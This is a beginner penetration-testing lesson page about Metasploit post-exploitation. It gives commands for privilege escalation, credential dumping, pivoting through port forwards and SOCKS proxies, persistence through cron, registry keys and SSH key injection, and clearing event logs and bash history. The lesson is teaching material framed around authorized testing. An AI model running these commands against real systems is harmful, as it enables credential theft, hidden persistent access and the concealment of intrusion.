0Pricing
Cyber Security Academy · Lesson

Post-Exploitation: Pivot and Persist

Use Metasploit's post modules for privilege escalation, credential dumping, and persistence.

Post-Exploitation: Pivot and Persist is a free Cyber Security Academy lesson on CoddyKit — lesson 4 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cyber Security Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.

Post-Exploitation Goals

After initial access, the attacker's goals are: escalate privileges, gather intelligence, maintain persistent access, and move laterally to reach the true objective (data, systems, domain control).

Situational Awareness

First steps after shell: understand where you are. Collect system info, network config, current user privileges, running processes, and environment variables.

meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > run post/linux/gather/enum_system

Privilege Escalation

Local privilege escalation moves from a low-privilege shell to root/SYSTEM. Metasploit's local_exploit_suggester identifies applicable kernel/local exploits based on the target OS version.

meterpreter > run post/multi/recon/local_exploit_suggester

# Identifies applicable exploits
# Then:
msf6 > use exploit/linux/local/cve_2021_4034_pwnkit
msf6 > set SESSION 1
msf6 > run

Credential Harvesting

Gather credentials: hashed passwords, cleartext credentials in config files, browser saved passwords, and SSH keys. These enable lateral movement and persistence.

meterpreter > run post/linux/gather/hashdump
meterpreter > run post/windows/gather/credentials/credential_collector
meterpreter > run post/multi/gather/ssh_creds

# Check env vars for cleartext creds:
meterpreter > run post/multi/gather/env

Pivoting: Port Forwarding

Pivoting uses a compromised host as a bridge to reach isolated internal networks. Metasploit's portfwd creates local port forwards through the Meterpreter session.

# Forward local port 3306 to internal DB
meterpreter > portfwd add -l 3306 -p 3306 -r 10.10.10.20

# Now connect locally:
mysql -h 127.0.0.1 -P 3306 -u root

Routing Through Sessions

Metasploit's route module adds network routes through a session, allowing other modules to reach networks only accessible via the pivot host.

msf6 > route add 10.10.10.0/24 1   # route via session 1
msf6 > route print

# Now run modules targeting 10.10.10.x
# through session 1 as pivot

SOCKS Proxy Pivoting

Socks proxy via Metasploit (or chisel/ssh -D) lets you route arbitrary tools through the pivot using proxychains — enabling nmap, curl, and browsers to reach internal networks.

# Set up SOCKS proxy through session
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run -j

# Route tools through proxy
proxychains nmap -sT 10.10.10.0/24

Persistence Mechanisms

Persistence ensures access survives reboots and session loss. Common methods: cron jobs (Linux), registry run keys (Windows), SSH authorized_keys injection, and service installation.

# Linux: cron-based persistence
meterpreter > run post/linux/manage/cron_persistence

# Windows: registry
meterpreter > run post/windows/manage/persistence_exe

# SSH key injection
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

Covering Tracks

Attackers clear logs to maintain stealth. Security note: modern SIEM and EDR solutions ship logs off-host in real time — clearing local logs does not erase centralized records.

meterpreter > clearev          # clear Windows event logs

# Linux: clear bash history
unset HISTFILE
cat /dev/null > ~/.bash_history

Post-Exploitation Modules

Metasploit includes hundreds of post modules for Windows and Linux: credential gathering, browser data, keylogging, screenshot capture, and network enumeration.

msf6 > use post/windows/gather/enum_logged_on_users
msf6 > use post/multi/gather/browser_history
msf6 > use post/windows/gather/screen_spy
msf6 > set SESSION 1
msf6 > run

Knowing When to Stop

In authorized pentests, stop when you reach the agreed scope objective or encounter data you are not authorized to access. Document your path carefully — this is the attack chain you report.

Quick Check

What does Metasploit's "route add" command enable?

Summary: Post-Exploitation

Post-exploitation builds on initial access to achieve real impact: privilege escalation, credential harvesting, lateral movement, and persistence. Metasploit provides post modules for each phase. Document every step — the attack chain from entry to objective is the core deliverable of a penetration test.

Frequently asked questions

Is the “Post-Exploitation: Pivot and Persist” lesson free?

Yes — the full text of “Post-Exploitation: Pivot and Persist” is free to read here on the web, and the Cyber Security Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cyber Security Academy course, upgrade to CoddyKit PRO.

What will I learn in “Post-Exploitation: Pivot and Persist”?

Use Metasploit's post modules for privilege escalation, credential dumping, and persistence. You practise Cyber Security Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.

Do I need any experience to start Cyber Security Academy?

No prior experience is required. Cyber Security Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 4 of 4, so you can start here or from the beginning and move at your own pace.

How long does the “Post-Exploitation: Pivot and Persist” lesson take?

Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.

Can I write and run code in this Cyber Security Academy lesson?

Yes. Every Cyber Security Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.

All lessons in this course

  1. Metasploit Architecture and msfconsole
  2. Exploiting a Known Vulnerability
  3. Payloads: Staged vs Stageless, Meterpreter
  4. Post-Exploitation: Pivot and Persist
← Back to Cyber Security Academy